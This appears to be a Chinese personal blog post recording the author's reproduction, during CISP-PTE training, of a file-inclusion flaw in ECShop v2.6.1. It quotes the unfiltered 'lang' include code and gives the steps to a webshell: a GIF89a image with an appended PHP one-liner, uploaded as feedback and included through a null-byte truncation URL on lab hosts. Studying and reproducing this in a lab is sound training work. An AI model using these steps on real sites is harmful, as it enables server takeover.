记一次CISP-PTE培训过程中处理问题的过程

  • 内容
  • 相关

哎,为期10天的cisp-pte培训,好苦逼好心酸。

大周六的也要培训,哭唧唧...

file

今天讲到文件包含漏洞时。。。

讲师演示出现问题咯。。。。

那怎么办呢?那我帮忙复现下啦。

file


1、环境

phpstudy+echsop

ecshop版本:v2.6.1

php版本:5.2.17+apache

2、利用

1、注册用户

2、上传GIF89a头的GIF文件欺骗

3、包含漏洞,如:
http://www.test.com/js/calendar.php?lang=../data/feedbackimg/3_20190511hzvvjb.gif%00.
(注意后面有个“.”)

3、过程

漏洞位置代码:

“js/calendar.php” 16-26行

file

$lang = (!empty($_GET['lang']))
? trim($_GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞
if (!file_exists('../languages/' . $lang . '/calendar.php'))
{
$lang = 'zh_cn';
}
require(dirname(dirname(__FILE__)) . '/data/config.php');
header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断

4、复现

注册个用户前台登陆、我的留言,在上传文件处。

file

上传GIF89a头的gif文件欺骗(Windows下cmd(gif图片+php一句话)合成就行,切记图片需要在64kb以下)

file
file
file
http://10.211.55.6/ecshop/data/feedbackimg/3_20190511hzvvjb.gif

复制链接,

利用文件包含漏洞获取webshell.

Poc:http://127.0.0.1/js/calendar.php?lang=../../tmp

Shell地址:

http://10.211.55.6/ecshop/js/calendar.php?lang=../data/feedbackimg/3_20190511hzvvjb.gif%00.

file
file

5、结尾:

为什么选择php版本5.2.17?

1、 利用此漏洞需要magic_quotes_gpc函数。

2、 magic_quotes_gpc在php5.4版本以上就去除了,也即是php解析器不会自动为POST、GET、COOKIE过来的数据增加转义字符"\",而是把安全编码交给了用户自己,从而避免了magic_quotes_gpc未设置,用户依赖这个设置而带来了安全隐患。

过程:php.inc查找函数,Off就好。

file
file

前面多次怎么修改都无法利用,直到。。。。看见了这条,切换了版本秒成功复现。

Image


此贴只是个学习过程中处理问题的过程,记录一下。

本文标签:

版权声明:若无特殊注明,本文皆为《舜哥哥吖》原创,转载请保留文章出处。

本文链接:记一次CISP-PTE培训过程中处理问题的过程 - http://www.shungg.cn/post/238

发表评论

电子邮件地址不会被公开。 必填项已用*标注